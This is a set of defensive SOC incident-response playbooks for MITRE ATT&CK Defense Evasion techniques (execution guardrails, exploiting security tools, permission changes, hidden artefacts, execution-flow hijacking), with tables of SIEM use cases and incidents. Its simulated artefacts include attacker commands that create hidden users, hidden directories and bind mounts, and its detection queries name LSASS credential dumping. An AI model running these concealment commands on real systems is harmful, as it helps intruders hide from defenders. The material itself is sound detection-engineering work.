Context: SOC detonates a suspicious executable in a sandbox. The file exits silently with no observable behaviour. Later, the same file executes fully on a finance server, establishing C2. Reverse engineering shows the malware checks for domain membership and hostname before executing.

Attacker objective: Evade sandbox and analyst detection while executing only on high-value targets.

Defender objective: Identify execution conditions and widen detection coverage.

What it looks like (simulated SOC artefacts)

A) Environmental Keying – Domain Check

Condition=Domain == CORP-FINANCE

Result=Execute

B) Environmental Keying – Sandbox Detection

Check=VMwareTools

Found=True

Action=Exit

C) Environmental Keying – User / Hostname

RequiredUser=finance-admin

ActualUser=analyst

Result=Abort

D) Mutual Exclusion – Mutex Creation

MutexName=Global\WinUpdateMutex

Status=Exists

Action=Exit

E) Single-Instance Enforcement

LockFile=C:\ProgramData\lock

IfExists=Terminate

F) Divergent Execution

Sandbox=No Behaviour

Production=Beaconing Detected

Severity decision (SOC)

Medium

- Guardrails detected in malware that has not executed

High

- Guardrails actively preventing sandbox or lab analysis

Critical

- Guardrails enabling successful execution on production targets

Example severity: High

(Advanced evasion blocking detection)

Step-by-step SOC workflow

Step 1 Validate execution guardrails

Confirm:

1. Is malicious code present but selectively inactive?
2. Are environmental checks or mutexes present?
3. Does behaviour change across hosts or environments?
4. Is execution intentionally restricted, not failing?

Decision point

- Benign software self-checks → validate vendor logic
- Malicious guardrails → escalate immediately

Step 2 Identify guardrail type

Sub-technique	Indicator	Attacker value
Environmental keying	Host, domain, VM checks	Sandbox evasion
Mutual exclusion	Mutex, lock files	Stability, stealth
Hardware checks	CPU, RAM, disk size	Anti-analysis
User targeting	Specific usernames	Precision attacks

Step 3 Map behaviour to attacker intent

3A) Sandbox and Lab Evasion

Indicators

- No execution in analysis environments

Attacker intent

- Avoid reverse engineering and signatures

3B) Targeted Operations

Indicators

- Execution only on specific systems

Attacker intent

- Precision compromise

3C) Operational Safety

Indicators

- Single-instance enforcement

Attacker intent

- Prevent crashes and noise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Payload detonation after conditions met
2. Command and Control
 - Delayed or conditional beaoning
3. Persistence
 - Guardrails combined with autoruns
4. Privilege Escalation
 - Execution only when elevated

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Isolate systems where conditions are met
2. Block execution of guarded binaries across the estate
3. Replicate environment conditions in analysis lab

If guardrails confirmed

1. Preserve binaries and memory for reverse engineering
2. Document all execution conditions discovered
3. Notify SOC leadership and threat intel teams
4. Assume advanced, evasive malware

Eradication and recovery

- Remove guarded malware from all systems
- Reimage affected hosts if execution occurred
- Update detection logic to ignore guardrails
- Deploy environment-agnostic indicators (hash, strings, C2)
- Review detection gaps exposed by sandbox evasion

Detection engineering (SIEM ideas)

A) Mutex creation by unknown binaries

```
index=edr  
| where action="create_mutex"  
| where process_reputation!="known"
```

B) Conditional execution logic

```
index=edr  
| where process_exit_code=0  
| where execution_time < threshold
```

C) Behavioural divergence detection

```
index=edr  
| stats count by hash, host  
| where count differs significantly
```

Analyst checklist

- Execution guardrails confirmed
- Guardrail type identified
- Conditions documented
- Detection logic updated
- Incident severity reassessed

Post-incident improvements

- Treat non-executing malware as suspicious, not benign

- Expand sandbox environment diversity
- Monitor mutex and environment checks
- Correlate file presence → conditional execution → delayed behaviour
- Feed guardrail logic into threat intelligence

BY IZMER IZUDDIN

Playbook 97 (MITRE Defense Evasion): Exploitation for Defense Evasion

Technique: Exploitation for Defense Evasion

Purpose

Detect, investigate and respond to attacker exploitation of vulnerabilities specifically to evade security controls, enabling attackers to:

- Disable, blind or bypass EDR/AV/SIEM telemetry
- Operate at kernel or trusted-process levels to avoid detection
- Circumvent logging, monitoring and access controls
- Maintain stealth during post-exploitation and lateral movement
- Prepare the environment for high-impact actions (credential access, ransomware)

This technique is not about gaining initial access or privilege alone it is about breaking the defender's visibility and control plane.

When to trigger this playbook

Trigger this playbook when indicators suggest exploitation used to suppress or evade defenses, including:

- Sudden loss or degradation of EDR/AV telemetry
- Security services crashing or being force-disabled without policy changes
- Kernel/driver faults preceding suspicious activity
- Exploits targeting security agents, management consoles or logging subsystems
- Successful actions occurring that should have been blocked or alerted
- Known CVEs against security products exploited in the environment

Example use case scenario (end-to-end)

Context: SOC notices endpoint telemetry dropping from multiple hosts within minutes. No admin policy changes are recorded. EDR logs show a kernel exploit targeting the EDR driver, followed by credential dumping and lateral movement with no alerts.

Attacker objective: Exploit a vulnerability to neutralise defenses, then operate freely.

Defender objective: Identify the exploit, restore visibility and contain hosts before impact.

What it looks like (simulated SOC artefacts)

A) Security Agent Crash After Exploit

process=edr_agent.exe
event=Crash
reason=DriverFault
preceded_by=exploit_trigger.exe

B) Kernel Exploit Targeting Security Driver

process=exploit.exe
target_driver=edrdrv.sys
result=AccessGranted

C) Logging Disabled Without Policy Change

service=Windows Event Log
state=Stopped
initiator=unknown

D) AV/EDR Tamper Protection Bypassed

tamper_protection=Enabled
action=DisableEDR
result=Success
method=Exploit

E) Silent Follow-On Activity

action=LSASS_Access
alert=none

F) Known CVE Exploited Against Security Tool

CVE=CVE-2024-XXXX
product=EndpointSecurityAgent
exploit_status=Successful

Severity decision (SOC)

Low

- Exploit attempt failed
- No loss of visibility or control

Medium

- Partial degradation of defenses
- Limited host scope

High / Critical

- Security tooling bypassed or disabled
- Exploit enables stealthy follow-on actions
- Widespread telemetry loss

Example severity: Critical

(EDR kernel exploit + telemetry blind + credential access)

Step-by-step SOC workflow

Step 1 Validate exploitation for evasion

Confirm:

1. Was a vulnerability exploited (not misconfiguration)?
2. Which security control was targeted (EDR, AV, logging, IAM)?
3. Did exploitation reduce or eliminate visibility/prevention?
4. Is there a known CVE or exploit chain involved?

Decision point

- Benign crash or maintenance → document and monitor
- Exploitation confirmed → continue investigation immediately

Step 2 Identify evasion exploit vector and scope

Exploit target	Evidence	Attacker value
EDR/AV driver	Kernel faults	Total endpoint stealth
Logging service	Service stopped	Anti-forensics
Security agent	Crash/bypass	Unmonitored activity
Management console	API abuse	Centralised control loss
Kernel subsystem	Privileged exploit	Tool-wide evasion

Step 3 Map behaviour to attacker intent

3A) Visibility Suppression

Indicators

- Missing logs

- Telemetry gaps

Attacker intent

- Operate without detection

3B) Protection Neutralisation

Indicators

- Security agents disabled or bypassed

Attacker intent

- Remove preventative controls

3C) Preparation for Impact

Indicators

- Exploit followed by credential access or lateral movement

Attacker intent

- Enable high-impact actions safely

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, keychains, secrets
2. Lateral Movement
 - SMB, RDP, WinRM without alerts
3. Persistence
 - Services, tasks added while defenses down
4. Impact
 - Ransomware, data exfiltration, sabotage

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected hosts from the network
2. Stop exploit and malicious processes
3. Restore security tooling where possible

If exploitation confirmed

1. Assume host integrity is compromised
2. Disable affected security agents centrally (to prevent false trust)
3. Preserve memory and disk artefacts
4. Notify IR, SOC leadership and vendors

Eradication and recovery

- Patch exploited vulnerabilities immediately
- Reinstall or redeploy compromised security agents
- Reimage hosts if kernel-level compromise occurred
- Restore logging and monitoring end-to-end
- Validate detection and prevention coverage post-recovery

Detection engineering (SIEM ideas)

A) Security agent crash correlation

```
index=edr  
| where event="Crash"  
| where process IN ("edr_agent.exe","av_agent.exe")
```

B) Telemetry drop detection

```
index=soc_health  
| where host_telemetry="Missing"
```

C) Exploit followed by silent privileged actions

```
index=edr  
| transaction host maxspan=10m  
| where action="Exploit"  
| where later(action IN ("LSASS_Access","CredentialDump"))
```

D) Known CVE exploitation

```
index=threat
```

| where technique="Exploit"
| where target_product="SecurityAgent"

Analyst checklist

- Exploitation confirmed
- Targeted security control identified
- Visibility restored
- Hosts isolated and rebuilt if needed
- Detections improved

Post-incident improvements

- Treat defense-evasion exploits as Tier-0 incidents
- Patch security tooling as aggressively as OS and apps
- Monitor for sudden telemetry loss as a primary alert
- Test security agent tamper resistance regularly
- Include “blind-the-SOC” scenarios in SOC exercises

Playbook 98 (MITRE Defense Evasion): File and Directory Permissions Modification

Technique: File and Directory Permissions Modification

Sub-techniques:

- Windows File and Directory Permissions Modification
- Linux and Mac File and Directory Permissions Modification

Purpose

Detect, investigate and respond to adversaries evading defenses by modifying file or directory permissions, enabling attackers to:

- Hide malicious files from security tools and users
- Prevent deletion or modification of malware
- Enable execution of payloads in normally restricted locations
- Block logging, backups or security tooling access
- Maintain stealthy persistence by controlling filesystem access

File and Directory Permissions Modification is defense evasion through access control abuse attackers don't delete defenses they lock them out.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious permission changes, including:

- Security tools failing to read, scan or delete files
- Malware residing in directories with unusual ACLs or modes
- Permission changes affecting system, log or security directories
- Files becoming executable or writable unexpectedly
- Permission changes immediately preceding or following malicious activity

Example use case scenario (end-to-end)

Context: EDR detects malware on a Linux server but cannot quarantine or delete the file. Filesystem review shows the malware directory permissions were changed to prevent access by security agents.

Attacker objective: Evade detection and removal by manipulating filesystem permissions.

Defender objective: Restore correct permissions and regain security tool visibility.

What it looks like (simulated SOC artefacts)

A) Windows ACL Modification

Path=C:\ProgramData\syscache\
Change=Deny Read, Write
AppliedTo=Everyone
ModifiedBy=SYSTEM

B) Hidden Malware Directory

Path=C:\Windows\Temp\.cache\
Permissions=Owner: SYSTEM
Access=Restricted

C) Linux Permission Hardening for Malware

Path=/var/tmp/.x/
chmod 700 /var/tmp/.x
chown root:root /var/tmp/.x

D) Log File Access Blocked

Path=/var/log/auth.log
Permissions=000
Result=Logging Failure

E) macOS Extended Attributes

File=/Library/LaunchDaemons/com.apple.update.plist
Owner=root
Mode=600

F) Follow-on Activity

NextAction=Persistence

Severity decision (SOC)

Medium

- Permission changes detected but no confirmed malware

High

- Permission changes protecting malicious files

Critical

- Permission changes disabling security tools, logging or backups

Example severity: High

(Active defense evasion)

Step-by-step SOC workflow

Step 1 Validate permission-based evasion

Confirm:

1. Were file or directory permissions modified?
2. Is the change unauthorised or unexpected?
3. Does it restrict security tooling or users?
4. Is it associated with malicious files or activity?

Decision point

- Legitimate admin hardening → validate change control
- Malicious permission abuse → escalate immediately

Step 2 Identify platform and scope

Platform	Indicator	Attacker value
Windows ACLs	Deny ACEs, ownership change	AV/EDR blocking
Linux permissions	chmod/chown abuse	Root-level stealth
macOS permissions	Restricted launch files	Persistence protection
Log directories	Access removed	Forensic evasion

Step 3 Map behaviour to attacker intent

3A) Security Tool Evasion

Indicators

- EDR or AV unable to access files

Attacker intent

- Prevent detection and cleanup

3B) Persistence Protection

Indicators

- Malware directories locked down

Attacker intent

- Ensure long-term survival

3C) Forensic Suppression

Indicators

- Log or backup access blocked

Attacker intent

- Obscure activity trail

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Autoruns, services, cron jobs
2. Privilege Escalation
 - Permission changes enabling execution
3. Defense Evasion
 - Further tampering with security files
4. Impact
 - Data destruction or ransomware staging

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Isolate affected systems
2. Restore secure permissions on impacted files
3. Re-enable security tool access

If permission abuse confirmed

1. Preserve filesystem metadata and audit logs
2. Identify how attacker gained permission modification rights
3. Notify SOC leadership and platform owners
4. Assume active defense evasion

Eradication and recovery

- Reset permissions to known-good baselines
- Remove protected malicious files
- Re-enable logging and backups
- Rotate credentials if root/admin abuse occurred
- Reimage systems if integrity is uncertain

Detection engineering (SIEM ideas)

A) Windows ACL changes

```
index=windows  
| where event_type="acl_modified"  
| where target_path IN ("C:\\ProgramData","C:\\Windows","C:\\Users")
```

B) Linux/macOS permission changes

```
index=linux OR index=macos  
| where process IN ("chmod","chown","setfacl")
```

C) Security tool access failures

```
index=edr  
| where action="access_denied"
```

Analyst checklist

- Permission modification confirmed
- Malicious files identified
- Permissions restored
- Security tools revalidated
- Incident severity updated

Post-incident improvements

- Treat permission changes as defense-evasion signals
- Monitor ACL and mode changes on sensitive paths
- Enforce least privilege for filesystem modification

- Baseline permissions for system and security directories
- Correlate permission change → security failure → attacker activity

BY IZMER IZUDDIN

Playbook 99 (MITRE Defense Evasion): Hide Artifacts

Technique: Hide Artifacts

Sub-techniques covered:

- Hidden Files and Directories
- Hidden Users
- Hidden Window
- NTFS File Attributes
- Hidden File System
- Run Virtual Instance
- VBA Stomping
- Email Hiding Rules
- Resource Forking
- Process Argument Spoofing
- Ignore Process Interrupts
- File/Path Exclusions
- Bind Mounts
- Extended Attributes

Purpose

Detect, investigate and respond to attacker attempts to conceal malicious artefacts, enabling attackers to:

- Operate without drawing user or analyst attention
- Evade file, process and mailbox-based detection
- Persist while appearing clean during triage
- Bypass backups, AV and EDR visibility
- Delay discovery until impact is achieved

Hiding artefacts is foundational defense evasion the attack is present, but you can't see it unless you look the right way.

When to trigger this playbook

Trigger this playbook when indicators suggest intentional concealment, including:

- "Nothing found" despite strong compromise indicators
- Files or users missing from standard listings
- Processes behaving oddly with benign names/arguments
- Email incidents without visible messages
- AV exclusions added without approval
- Filesystem anomalies (mounts, forks, attributes)

- Macros executing but source code appears empty

Example use case scenario (end-to-end)

Context: SOC investigates suspicious outbound traffic from a workstation. No malware files are visible. No inbox phishing emails are found. Deep inspection reveals:

- A hidden directory under a user profile
- A VBA-stomped document delivering payloads
- Email rules hiding phishing emails
- Process argument spoofing masking C2 execution

Attacker objective: Remain invisible during investigation while maintaining control.

Defender objective: Uncover concealed artefacts, remove evasion layers and restore visibility.

What it looks like (simulated SOC artefacts)

A) Hidden Files and Directories

```
attrib +h +s C:\Users\Public\.cache  
ls -la | grep "^d..... \."
```

B) Hidden Users

```
net user backup$ /add  
/etc/passwd entry with UID < 1000
```

C) Hidden Window

```
powershell.exe -WindowStyle Hidden
```

D) NTFS File Attributes

Attributes: Hidden, System

E) Hidden File System

Mounted volume not listed in Explorer

F) Run Virtual Instance

Process runs only inside VM/container

G) VBA Stomping

Macro executes
VBA source code = empty

H) Email Hiding Rules

Rule: If subject contains "Invoice" -> Move to RSS Feeds

I) Resource Forking (macOS)

file.txt:evilpayload

J) Process Argument Spoofing

Process: svchost.exe
Arguments: legitimate-looking, behaviour malicious

K) Ignore Process Interrupts

SIGINT ignored
Process survives Ctrl+C / service stop

L) File / Path Exclusions

AV Exclusion: C:\ProgramData\Updater\

M) Bind Mounts (Linux)

mount --bind /tmp/.x /usr/bin

N) Extended Attributes

xattr -w com.apple.quarantine "0000" payload

Severity decision (SOC)

Low

- Hiding behaviour used by legitimate software
- No malicious follow-on actions

Medium

- Concealment plus suspicious indicators

- Limited scope

High / Critical

- Multiple hiding techniques combined
- Concealment protecting active malware, C2 or persistence

Example severity: High

(Hidden files + VBA stomping + email hiding rules)

Step-by-step SOC workflow

Step 1 Validate concealment indicators

Confirm:

1. What artefacts are hidden (files, users, processes, emails)?
2. Which hiding techniques are used?
3. Are artefacts expected or approved?
4. Is concealment protecting malicious behaviour?

Decision point

- Legitimate concealment → document and monitor
- Malicious hiding → continue investigation immediately

Step 2 Identify hiding method and scope

Hiding method	Evidence	Attacker value
Hidden files/dirs	Attributes, dot-files	Avoid discovery
Hidden users	Non-listed accounts	Stealth access
VBA stomping	Empty macro source	Analysis evasion
Email rules	Messages not visible	Phishing stealth
AV exclusions	Excluded paths	Detection bypass
Mount tricks	Bind mounts/forks	Filesystem stealth

Step 3 Map behaviour to attacker intent

3A) Analyst and User Deception

Indicators

- “Nothing found” during triage

Attacker intent

- Delay detection and response

3B) Defense Evasion

Indicators

- AV exclusions, hidden execution

Attacker intent

- Bypass security tooling

3C) Persistence Protection

Indicators

- Hidden artefacts survive cleanup

Attacker intent

- Maintain long-term access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Hidden scripts/binaries executing
2. Persistence
 - Hidden users, startup items
3. Credential Access
 - Tools concealed in hidden paths
4. Impact
 - Ransomware or data theft protected by hiding

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Reveal and inventory hidden artefacts
2. Disable email rules and AV exclusions
3. Isolate host if active malware found

If abuse confirmed

1. Remove hidden users and files
2. Restore default visibility and permissions
3. Preserve artefacts for forensics
4. Reset credentials and review mailbox access

Eradication and recovery

- Clean hidden files, mounts, forks, attributes
- Rebuild systems if concealment scope is wide
- Reset mailbox rules tenant-wide if abused
- Restore AV/EDR configurations
- Validate no hidden artefacts remain

Detection engineering (SIEM ideas)

A) Hidden file or attribute changes

```
index=edr  
| where file_attribute IN ("Hidden","System")
```

B) VBA stomping detection

```
index=o365  
| where macro_exec=true  
| where macro_source_length=0
```

C) Email hiding rules

```
index=o365  
| where action="CreateInboxRule"  
| where destination_folder NOT IN ("Inbox","Archive")
```

D) AV exclusion creation

```
index=windows  
| where action="AddExclusion"
```

E) Bind mount detection

index=linux
| where command="mount"
| where args LIKE "%--bind%"

Analyst checklist

- Hidden artefacts identified
- Visibility restored
- Persistence assessed
- Credentials secured
- Monitoring enhanced

Post-incident improvements

- Treat hiding techniques as Tier-0 evasion signals
- Enforce audits for AV exclusions and mailbox rules
- Baseline filesystem visibility
- Train analysts to look beyond default views
- Include “nothing found” scenarios in SOC exercises

Playbook 100 (MITRE Defense Evasion): Hijack Execution Flow

Technique: Hijack Execution Flow

Sub-techniques:

- DLL
- Dylib Hijacking
- Executable Installer File Permissions Weakness
- Dynamic Linker Hijacking
- Path Interception by PATH Environment Variable
- Path Interception by Search Order Hijacking
- Path Interception by Unquoted Path
- Services File Permissions Weakness
- Services Registry Permissions Weakness
- COR_PROFILER
- KernelCallbackTable
- AppDomainManager

Purpose

Detect, investigate and respond to adversaries evading defenses by manipulating how trusted software loads or executes code, enabling attackers to:

- Execute malicious code without creating new suspicious processes
- Hide payloads inside legitimate binaries and services
- Bypass application allow-listing and reputation-based detection
- Blend malicious execution into normal OS and application behaviour
- Persist and operate stealthily under trusted process names

In Defense Evasion, Hijack Execution Flow is about staying invisible, not just gaining privileges. The attacker lets trusted software execute malicious code on their behalf, reducing alerts and suspicion.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or abnormal code loading by legitimate processes, including:

- Trusted binaries loading libraries from non-standard locations
- Services executing from user-writable or temporary directories
- Security tools observing “legitimate” processes performing malicious actions
- Repeated execution of malware under different trusted process names
- No obvious malware process despite clear malicious behaviour

Example use case scenario (end-to-end)

Context: SOC detects outbound C2 traffic originating from svchost.exe. No malware binary is observed executing. Investigation shows a malicious DLL placed earlier in the DLL search order, loaded automatically by the service.

Attacker objective: Evade EDR and allow-listing by executing under trusted process context.

Defender objective: Restore execution integrity and prevent trusted process abuse.

What it looks like (simulated SOC artefacts)

A) DLL Search Order Hijacking

Process=svchost.exe

LoadedDLL=C:\ProgramData\version.dll

Expected=C:\Windows\System32\version.dll

B) PATH Interception

PATH=C:\Users\Public\bin;C:\Windows\System32

Executed=ping.exe

ActualBinary=C:\Users\Public\bin\ping.exe

C) Unquoted Service Path

Service=UpdaterService

ImagePath=C:\Program Files\Updater Service\service.exe

ExecutedBinary=C:\Program.exe

D) COR_PROFILER Abuse

COR_ENABLE_PROFILING=1

COR_PROFILER={CLSID}

ProfilerDLL=C:\Temp\profiler.dll

E) KernelCallbackTable Hijack

Target=winlogon.exe

Callback=InjectedShellcode

F) AppDomainManager Injection

Registry=HKLM\Software\Microsoft\NETFramework
AppDomainManagerAssembly=Malicious.Assembly

G) Evasion Outcome

ObservedProcess=svchost.exe
ActualExecution=Malware

Severity decision (SOC)

High

- Execution flow hijacking detected but blocked

Critical

- Malware executing under trusted process names
- Hijacking used to bypass allow-listing, EDR or AV

Example severity: Critical

(Trusted process abuse for stealth execution)

Step-by-step SOC workflow

Step 1 Validate execution-flow-based evasion

Confirm:

1. Is a trusted process executing unexpected behaviour?
2. Is malicious code loaded indirectly, not executed directly?
3. Are search paths, registry keys or permissions abused?
4. Is this behaviour designed to avoid detection, not just escalate privilege?

Decision point

- Legitimate software/plugin behaviour → validate vendor documentation
- Malicious hijack → escalate immediately

Step 2 Identify hijack method

Sub-technique	Indicator	Evasion value
DLL / Dylib hijacking	Wrong load path	Blend into legit process
Search order hijack	Early directory abuse	Silent execution
PATH interception	Binary shadowing	Allow-list bypass

Unquoted paths	Installer abuse	No new process
COR_PROFILER / AppDomain	.NET hijack	Stealth injection
KernelCallbackTable	Logon abuse	Deep invisibility

Step 3 Map behaviour to attacker intent

3A) Allow-listing Evasion

Indicators

- Only trusted binaries observed

Attacker intent

- Bypass application control

3B) EDR / AV Blind Spot Creation

Indicators

- Malware activity attributed to system binaries

Attacker intent

- Reduce alert fidelity

3C) Long-Term Stealth

Indicators

- Hijack survives reboots and updates

Attacker intent

- Persistent, low-noise operation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. **Command and Control**
 - Beacons from trusted processes
2. **Credential Access**
 - LSASS access via injected context

3. Persistence

- Registry, services, autoruns tied to hijack

4. Impact

- Data exfiltration or ransomware execution

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Terminate affected trusted processes
2. Remove malicious libraries or binaries
3. Isolate affected systems

If hijack confirmed

1. Preserve binaries, registry keys and filesystem metadata
2. Identify writable paths and misconfigurations abused
3. Notify SOC leadership and OS/platform teams
4. Assume active defense evasion

Eradication and recovery

- Restore legitimate binaries and libraries
- Fix file, directory and service permissions
- Quote all service paths
- Remove unsafe environment variables
- Reimage systems if execution integrity is uncertain

Detection engineering (SIEM ideas)

A) Trusted process loading from unusual paths

```
index=edr
| where process_name IN ("svchost.exe","services.exe","winlogon.exe")
| where module_path NOT LIKE "C:\\Windows\\System32%"
```

B) PATH or service path anomalies

```
index=windows
| where event_type IN ("env_var_modified","service_modified")
```

C) .NET execution hijack

index=windows

| where env_var IN ("COR_ENABLE_PROFILING","COR_PROFILER")

Analyst checklist

- Execution flow hijack confirmed
- Hijack vector identified
- Malicious artefacts removed
- Permissions and paths hardened
- Incident severity updated

Post-incident improvements

- Treat execution flow integrity as a defense boundary
- Monitor library load paths for trusted processes
- Enforce strict permissions on executable directories
- Baseline normal DLL and module loading behaviour
- Correlate trusted process → abnormal load → malicious activity

SIEM Use Cases Mapped to MITRE ATT&CK

#	SIEM Use Case	MITRE ATT&CK Tactic	Technique	Technique ID
1	Brute Force Login Attempts	Credential Access	Brute Force	T1110
2	Password Spraying	Credential Access	Password Spraying	T1110.003
3	Impossible Travel / Geo-Anomalous Login	Initial Access	Valid Accounts	T1078
4	Account Compromise (Post-Auth Anomaly)	Defense Evasion	Valid Accounts	T1078
5	Privilege Escalation via Admin Group Change	Privilege Escalation	Account Manipulation	T1098
6	Malware Execution on Endpoint	Execution	User Execution	T1204
7	Suspicious PowerShell / Script Execution	Execution	Command and Scripting Interpreter (PowerShell)	T1059.001
8	Command-and-Control Beaconing	Command and Control	Application Layer Protocol	T1071
9	Data Exfiltration Over Network	Exfiltration	Exfiltration Over C2 Channel	T1041
10	Lateral Movement via RDP / SMB	Lateral Movement	Remote Services	T1021
11	MFA Fatigue / Push Bombing	Credential Access	Multi-Factor Authentication Request Generation	T1621
12	Token Theft / Session Hijacking	Credential Access	Steal Application Access Token	T1528
13	OAuth App Abuse	Persistence	Account Manipulation	T1098

14	Suspicious Service Creation	Persistence	Create or Modify System Process (Service)	T1543.003
15	Scheduled Task Persistence	Persistence	Scheduled Task / Job	T1053
16	Registry Run Key Persistence	Persistence	Boot or Logon Autostart Execution	T1547
17	Defense Evasion via Log Clearing	Defense Evasion	Clear Windows Event Logs	T1070.001
18	Suspicious Use of LOLBins	Defense Evasion	Living Off The Land Binaries and Scripts	T1218
19	Internal Network Scanning	Discovery	Network Service Scanning	T1046
20	Cloud API Enumeration	Discovery	Cloud Service Discovery	T1526
31	Ransomware File Encryption Activity	Impact	Data Encrypted for Impact	T1486
32	Shadow Copy Deletion	Impact	Inhibit System Recovery	T1490
33	Suspicious Mass File Renaming	Impact	Data Destruction	T1485
34	Data Wiping / Disk Destruction	Impact	Disk Wipe	T1561
35	Business Email Compromise (BEC)	Impact	Financial Theft	T1657
36	Unauthorized Data Deletion (DB / Cloud)	Impact	Data Destruction	T1485
37	Backup System Tampering	Impact	Inhibit System Recovery	T1490
38	Defacement of Web Application	Impact	Defacement	T1491
39	Cryptomining Activity	Impact	Resource Hijacking	T1496
40	Service Stop Across Multiple Hosts	Impact	Service Stop	T1489
41	Insider Data Exfiltration	Exfiltration	Exfiltration Over Web Service	T1567

42	Unusual Database Query Volume	Collection	Data from Information Repositories	T1213
43	API Abuse / Excessive API Calls	Exfiltration	Exfiltration Over Web Service	T1567
44	Cloud Storage Public Exposure	Exfiltration	Exfiltration to Cloud Storage	T1567.002
45	Unauthorized IAM Policy Changes	Privilege Escalation	Account Manipulation	T1098
46	Cloud Access Key Misuse	Credential Access	Steal Application Access Token	T1528
47	Suspicious Admin Activity Outside Business Hours	Defense Evasion	Valid Accounts	T1078
48	Data Access Outside Normal Role	Collection	Data from Information Repositories	T1213
49	Suspicious File Download from Internal Systems	Collection	Data from Local System	T1005
50	Insider Privilege Abuse	Privilege Escalation	Abuse Elevation Control Mechanism	T1548
51	Suspicious Account Creation	Persistence	Create Account	T1136
52	Unauthorized Local Admin Account Added	Privilege Escalation	Account Manipulation	T1098
53	Domain Trust Enumeration	Discovery	Domain Trust Discovery	T1482
54	Active Directory Enumeration	Discovery	Permission Groups Discovery	T1069
55	Credential Dumping via DCSync	Credential Access	OS Credential Dumping (DCSync)	T1003.006
56	Kerberoasting Activity	Credential Access	Steal or Forge Kerberos Tickets	T1558.003

57	NTLM Relay / Pass-the-Hash	Lateral Movement	Pass the Hash	T1550.002
58	Remote Command Execution via WMI	Lateral Movement	Windows Management Instrumentation	T1047
59	SMB Admin Share Abuse	Lateral Movement	Remote Services (SMB/Windows Admin Shares)	T1021.002
60	Internal Web Application Enumeration	Discovery	Network Service Discovery	T1046
61	Security Log Tampering / Deletion	Defense Evasion	Indicator Removal on Host	T1070
62	Time Stomping (File Timestamp Manipulation)	Defense Evasion	Time Stomp	T1070.006
63	EDR / AV Disable Attempt	Defense Evasion	Impair Defenses	T1562
64	Process Injection Detected	Defense Evasion	Process Injection	T1055
65	Unsigned / Untrusted Driver Loaded	Defense Evasion	Signed Binary Proxy Execution	T1218
66	Suspicious DLL Search Order Hijacking	Persistence	Hijack Execution Flow (DLL Search Order)	T1574.001
67	Hidden Scheduled Task Creation	Persistence	Scheduled Task / Job	T1053
68	Registry Permissions Modified for Evasion	Defense Evasion	Modify Registry	T1112
69	Obfuscated / Encoded Command Execution	Defense Evasion	Obfuscated Files or Information	T1027
70	Suspicious Use of Living-Off-The-Land Tools	Defense Evasion	Living Off the Land Binaries and Scripts	T1218
71	Cloud Console Login from New ASN	Initial Access	Valid Accounts	T1078

72	Cloud MFA Disabled or Weakened	Defense Evasion	Modify Authentication Process	T1556
73	Excessive Failed API Auth Attempts	Credential Access	Brute Force	T1110
74	Abuse of Cloud Service Roles	Privilege Escalation	Abuse Elevation Control Mechanism	T1548
75	Creation of Rogue OAuth / API Token	Persistence	Account Manipulation	T1098
76	Serverless Function Used for Data Exfiltration	Exfiltration	Exfiltration Over Web Service	T1567
77	SaaS Mailbox Full Export	Collection	Email Collection	T1114
78	Cloud Resource Deletion Spike	Impact	Data Destruction	T1485
79	Direct-to-Origin Access Bypassing CDN/WAF	Defense Evasion	Bypass Network Security	T1599
80	Cross-Tenant / Cross-Account Access Abuse	Lateral Movement	Remote Services	T1021
81	AI-Generated Phishing / Deepfake Email	Initial Access	Phishing	T1566
82	Deepfake Voice Call (Vishing) for MFA / Approval	Credential Access	Phishing for Information (Voice)	T1598.004
83	Identity Impersonation via Email Display Name	Defense Evasion	Masquerading	T1036
84	Synthetic Identity Account Usage	Initial Access	Valid Accounts	T1078
85	Abnormal User Behaviour (UEBA Anomaly)	Defense Evasion	Valid Accounts	T1078
86	Password Reset Abuse	Credential Access	Account Manipulation	T1098
87	Excessive Failed Password Reset Requests	Credential Access	Brute Force	T1110

88	Abuse of Delegated Admin Rights	Privilege Escalation	Account Manipulation	T1098
89	Dormant Account Reactivation	Persistence	Valid Accounts	T1078
90	Privileged Session from Non-Corporate Device	Initial Access	Valid Accounts	T1078
91	Weak / Deprecated Crypto Protocol Usage (TLS/SSL)	Defense Evasion	Weaken Encryption	T1600
92	Long-Lived Certificate / Key Abuse	Persistence	Modify Authentication Process	T1556
93	Harvest-Now-Decrypt-Later Data Collection	Collection	Data from Information Repositories	T1213
94	Unauthorized Encryption Key Export (HSM/KMS)	Credential Access	Steal Cryptographic Keys	T1552.004
95	Abnormal Certificate Issuance Activity	Persistence	Subvert Trust Controls	T1553
96	Suspicious Use of Legacy Auth (NTLMv1 / Basic Auth)	Credential Access	Brute Force	T1110
97	Encrypted Channel Used to Bypass Inspection	Defense Evasion	Encrypted Channel	T1573
98	Crypto-Mining Wallet Address Detected	Impact	Resource Hijacking	T1496
99	Unauthorized Secrets Access (Vault / Secrets Manager)	Credential Access	Unsecured Credentials	T1552
100	Algorithm Downgrade / Crypto Agility Abuse	Defense Evasion	Weaken Encryption	T1600

Notable Cyber Incidents Mapped to MITRE ATT&CK

#	Incident	Organisation / Target	Attacker End Goal	MITRE ATT&CK Stages Observed
1	Colonial Pipeline Ransomware (2021)	Colonial Pipeline	Ransom payment	Initial Access → Credential Access → Lateral Movement → Impact
2	SolarWinds Supply Chain Attack (2020)	SolarWinds	Espionage	Initial Access → Persistence → Defense Evasion → Collection → Exfiltration
3	MOVEit Transfer Mass Breach (2023)	Progress Software	Data theft & extortion	Reconnaissance → Initial Access → Collection → Exfiltration → Impact
4	Target POS Breach (2013)	Target	Credit card theft	Initial Access → Lateral Movement → Collection → Exfiltration
5	Equifax Breach (2017)	Equifax	Mass data theft	Reconnaissance → Initial Access → Persistence → Collection → Exfiltration
